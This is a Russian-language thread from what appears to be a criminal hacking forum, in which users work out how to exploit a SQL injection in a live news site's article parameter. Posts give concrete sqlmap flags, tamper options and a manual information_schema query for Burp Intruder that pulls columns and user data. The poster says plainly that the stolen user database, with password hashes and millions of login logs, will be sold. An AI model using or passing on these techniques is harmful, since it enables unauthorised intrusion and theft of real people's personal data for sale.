• XSS.stack #1 – первый литературный журнал от юзеров форума

SQLi через артикул

monday

HDD-drive
Пользователь
Регистрация
10.01.2019
Сообщения
42
Реакции
13
Гарант сделки
1
Всем добрый день, подскажите, имеется SQLi в передаваемом артикуле новости. Кратко:
Какие данные я могу получить:
- таблицы
- имена БД
- пользователи
- привилегии
- кол-во строк в таблицах
- первую колонку таблицы
- хостнейм
- версия
Данные которые я не могу получить:
- колонки таблиц ( за исключением первой по порядку), даже при указании явного наименования, запрос не возвращается.
- текущую БД
- не могу сделать дамп.

Метод "UNION query". Если в GET параметре сформировать 2 запроса к БД, ресурс вернёт привычную для него Error, что артикул не найден в БД. --no-cast | --hex и прочее пробовал через sqlmap. WAF отсутствует, вывод результатов запросов не фильтруется. Вручную пробовал, при запросе database() ломается отображения нумерации, то есть из 11 колонок, выводится 7, при запросе version(),hostname() и прочего, всё выводится корректно.
Как выводится текущая БД sqlmap:

sql-shell> database()
[15:53:49] [INFO] fetching SQL query output: 'database()'
database(): ' '

sql-shell> SELECT @@datadir
[15:55:38] [INFO] fetching SQL SELECT statement query output: 'SELECT @@datadir'
SELECT @@datadir: '/rdsdbdata/db/'

sql-shell> version()
[15:53:53] [INFO] fetching SQL query output: 'version()'
version(): '5.7.12'

При попытке выполнить команду sql-query, sqlmap захлебывается на определении текущей БД для выполнения запроса.

Кол-во колонок sqlmap определяет корректно, но на этом вывод заканчивается.
[16:17:12] [INFO] fetching columns for table 'tables' in database 'DB'
[16:17:12] [INFO] starting 15 threads

[16:17:14] [INFO] fetching entries for table 'tables' in database 'DB'
[16:17:14] [INFO] starting 6 threads
[16:17:14] [INFO] resumed: '1'
[16:17:14] [INFO] resumed: '3'
[16:17:14] [INFO] resumed: '4'
[16:17:14] [INFO] resumed: '5'
[16:17:14] [INFO] resumed: '6'
[16:17:14] [INFO] resumed: '2'

Database: DB
Table: tables
[6 entries]
+----------+
| admin_id |
+----------+
| 1 |
| 2 |
| 3 |
| 4 |
| 5 |
| 6 |
+----------+

Справка:
Траффик ресурса - 2м.
БД users - 1.2м строк.
Буду благодарен за любую помощь по решению проблемы.
 
Последнее редактирование:
Если находишь решение - пиши в теме какое, кому нибудь да пригодится.
По опыту такие случаи единичные. Но всё же, решил добавить --headers="Host: ", и перетестировать с теми же параметрами --level 5 --risk 3. Что интересно, при формировании запросов прямиком к хосту, обнаружилась boolean blind injection. Казалось бы, что даже указав параметр --technique="B" при дампе таблиц, данные всё равно не тянутся, добавил --time-sec 10000 --columns, и произошло чудо, начались дампится наименования колонок, но не типы данных, добавил --tamper="base64encode", начались дампится типы данных (int, varchar и прочие). Но даже после этого при попытке дампа ничего не поменялось, изменил --technique="U" -C name_columns, и ДБ пошла дампится. Без указания наименований столбцов - данные не дампятся. Как то так.
 
По опыту такие случаи единичные. Но всё же, решил добавить --headers="Host: ", и перетестировать с теми же параметрами --level 5 --risk 3. Что интересно, при формировании запросов прямиком к хосту, обнаружилась boolean blind injection. Казалось бы, что даже указав параметр --technique="B" при дампе таблиц, данные всё равно не тянутся, добавил --time-sec 10000 --columns, и произошло чудо, начались дампится наименования колонок, но не типы данных, добавил --tamper="base64encode", начались дампится типы данных (int, varchar и прочие). Но даже после этого при попытке дампа ничего не поменялось, изменил --technique="U" -C name_columns, и ДБ пошла дампится. Без указания наименований столбцов - данные не дампятся. Как то так.
Забавно, буквально день назад практически так же танцевал, только без хэдеров. Через блинду вытаскивал именя таблиц и колонок, через юнион тянул уже данные из бд.
 
Легче наверное было бы руками раскрутить и через бурп выкачать все, что надо.
 
Легче наверное было бы руками раскрутить и через бурп выкачать все, что надо.
БД на продажу будет, хеш паролей phpass, но в соседней БД идут логи авторизаций пользователей без хешей, несколько миллионов записей. Не думаю что Burp может тут помочь.
 
БД на продажу будет, хеш паролей phpass, но в соседней БД идут логи авторизаций пользователей без хешей, несколько миллионов записей. Не думаю что Burp может тут помочь.
руками составить запрос select column_name from information_schema.columns where table_name='user' limit 0,1 и поставить его в intruder.
Этим ты выкачаешь все колонки которые надо, если ты говоришь, что WAF нет.
Так же можно и вытащить и юзеров.
 
руками составить запрос select column_name from information_schema.columns where table_name='user' limit 0,1 и поставить его в intruder.
Этим ты выкачаешь все колонки которые надо, если ты говоришь, что WAF нет.
Так же можно и вытащить и юзеров.
Твоя правда, просто я, честно говоря, не дампил БД больше 20к никогда через Burp. За совет спасибо.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх